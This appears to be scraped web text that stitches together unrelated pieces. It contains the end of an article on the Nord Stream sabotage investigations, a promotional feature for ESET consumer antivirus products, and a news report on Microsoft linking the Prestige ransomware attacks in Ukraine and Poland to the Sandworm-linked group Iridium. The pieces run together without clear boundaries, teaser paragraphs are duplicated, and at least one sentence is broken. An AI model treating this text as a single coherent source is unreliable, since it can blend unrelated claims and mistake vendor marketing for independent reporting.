However, while the investigations are ongoing, there appear to be difficulties between the countries that are looking into the incident, which could slow the process. While Sweden says it is working with investigators in Germany and Denmark, the official leading its investigation has rejected plans to form a joint investigation.

Tabuns says he hopes that the incident will act as motivation for countries to work on better ways to share intelligence, particularly as Sweden and Finland apply to join NATO. Each country will have its own levels of classification for information and systems where it collects intelligence—these may often not be compatible, Tabuns says. However, he adds that the events should see countries look at increasing the “integration of existing national systems so that there would be real-time information sharing for any response.”

_Update 9:30 am, 11-11-22: Added statement from NATO._

‘Dark Ships’ Emerge From the Shadows of the Nord Stream Mystery

It's no secret that antivirus software is as essential to your computer as a power cord.
However, the threats don't stop at your devices. For example, criminals trying to steal your data can attack your Wi-Fi router, and phishing attempts can target your email. 
ESET's latest consumer product release takes a comprehensive approach to security to guard against a full range of threats. All are

It's no secret that antivirus software is as essential to your computer as a power cord.

However, the threats don't stop at your devices. For example, criminals trying to steal your data can attack your Wi-Fi router, and phishing attempts can target your email.

ESET's latest consumer product release takes a comprehensive approach to security to guard against a full range of threats. All are built with ESET's signature light footprint for gaming, browsing, shopping and socializing with no interruptions or slowdowns.

****Introducing enhanced security for Windows, Mac and Android****

For more than 30 years, ESET® has created industry-leading IT security software and services, protecting businesses worldwide from ever-evolving digital threats.

ESET's solutions for consumers use the same advanced technologies. By protecting your digital life, ESET delivers real-world protection against criminals trying to steal your identity, hack your bank account or lock down your computer.

As cyberthreats and hackers keep evolving, ESET's always a step ahead. Here's a look at the new product updates:

****ESET Essential Security****

**ESET NOD32 Antivirus for Windows & macOS**

As ESET's entry-level product, ESET NOD32 Antivirus is anything but basic. In addition to defending against malware and phishing attempts, this new version includes:

*   **Advanced machine learning:** Proactive technology designed to detect never-before-seen malware.
*   **DNA detection:** Uses code analysis to extract the "genes" responsible for a specific virus behavior to detect others like it.
*   **Exploit blocker:** Helps block zero-day exploits by monitoring for suspicious activity.
*   **Intel Threat Detection Technology:** Boosts ransomware protection by integrating Intel's hardware-based ransomware detection technology.

****ESET Advanced Security****

**ESET Internet Security for Windows, macOS & Android**

ESET Internet Security now offers additional layers of defense for your home network and smart devices and an updated secure browser feature.

Highlights include:

*   **Multi-platform coverage:** Secures all your devices (smartphone, laptop, smart TV, tablet, etc.) and the network they're connected to.
*   **Secure browser mode:** Encrypts all communication between the keyboard and browser for safer gaming, socializing and browsing.
*   **Brute Force Attack Protection:** Blocks attacks that attempt to guess your password and access your by feeding large volumes of previously breached passwords
*   **Banking and payment protection:** Includes a new and improved plugin that keeps personal information from being stolen while shopping, banking and paying online.
*   **Intel Threat Detection Technology:** Boosts ransomware protection by integrating Intel's hardware-based ransomware detection technology.

****ESET Premium Security****

**ESET Smart Security Premium for Windows, macOS & Android**

ESET's flagship product adds cloud sandbox analysis, a password manager and encryption for the ultimate in security.

New features include:

*   **ESET LiveGuard:** Personalized virus detection system that works with documents, scripts, installers, and executable files. Suspicious files are run in a safe, sandboxed environment before being cleared for release or deleted.

*   **Military-grade encryption software:** Designed to keep the files on your computer safe and those on any external drivers.

*   **Password management:** Generates strong encrypted passwords and stores them securely.

*   **iOS face detection:** For macOS users, integrates into the password management feature along with Google Authenticator's two-factor authentication.

_NOTE: All of ESET's consumer products include simplified security management via the ESET HOME user hub._

When technology enables progress, ESET is here to protect it. **Learn more here.**

Found this article interesting? Follow THN on Facebook, Twitter __ and LinkedIn to read more exclusive content we post.

ESET Antivirus: Advanced Protection Solutions for Home Users and Businesses

Microsoft on Thursday attributed the recent spate of ransomware incidents targeting transportation and logistics sectors in Ukraine and Poland to a threat cluster that shares overlaps with the Russian state-sponsored Sandworm group.
The attacks, which were disclosed by the tech giant last month, involved a strain of previously undocumented malware called Prestige and is said to have taken place

Microsoft on Thursday attributed the recent spate of ransomware incidents targeting transportation and logistics sectors in Ukraine and Poland to a threat cluster that shares overlaps with the Russian state-sponsored Sandworm group.

The attacks, which were disclosed by the tech giant last month, involved a strain of previously undocumented malware called Prestige and is said to have taken place within an hour of each other across all victims.

The Microsoft Threat Intelligence Center (MSTIC) is now tracking the threat actor under its element-themed moniker Iridium (née DEV-0960), citing overlaps with Sandworm (aka Iron Viking, TeleBots, and Voodoo Bear).

"This attribution assessment is based on forensic artifacts, as well as overlaps in victimology, tradecraft, capabilities, and infrastructure, with known Iridium activity," MSTIC said in an update.

The company also further assessed the group to have orchestrated compromise activity targeting many of the Prestige victims as far back as March 2022, before culminating in the deployment of the ransomware on October 11.

The method of initial compromise still remains unknown, although it's suspected that it involved gaining access to highly privileged credentials necessary to activate the killchain.

"The Prestige campaign may highlight a measured shift in Iridium's destructive attack calculus, signaling increased risk to organizations directly supplying or transporting humanitarian or military assistance to Ukraine," the company said.

The findings come over a month after Recorded Future linked another activity group (UAC-0113) with ties to the Sandworm actor as having singled out Ukrainian users by masquerading as telecom providers in the country to deliver backdoors onto compromised machines.

Microsoft, in its Digital Defense Report published last week, further called out Iridium for its pattern of targeting critical infrastructure and operational technology entities.

"Iridium deployed the Industroyer2 malware in a failed effort to leave millions of people in Ukraine without power," Redmond said, adding the threat actor used "phishing campaigns to gain initial access to desired accounts and networks in organizations within and outside Ukraine."

The development also arrives amid sustained ransomware attacks aimed at industrial organizations worldwide during the third quarter of 2022, with Dragos reporting 128 such incidents during the time period compared to 125 in the previous quarter.

"The LockBit ransomware family account for 33% and 35% respectively of the total ransomware incidents that target industrial organizations and infrastructures in the last two quarters, as the groups added new capabilities in their new LockBit 3.0 strain," the industrial security firm said.

Other prominent strains observed in Q3 2022 include Cl0p, MedusaLocker, Sparta, BianLian, Donuts, Onyx, REvil, and Yanluowang.

Found this article interesting? Follow THN on Facebook, Twitter __ and LinkedIn to read more exclusive content we post.

Tag

#mac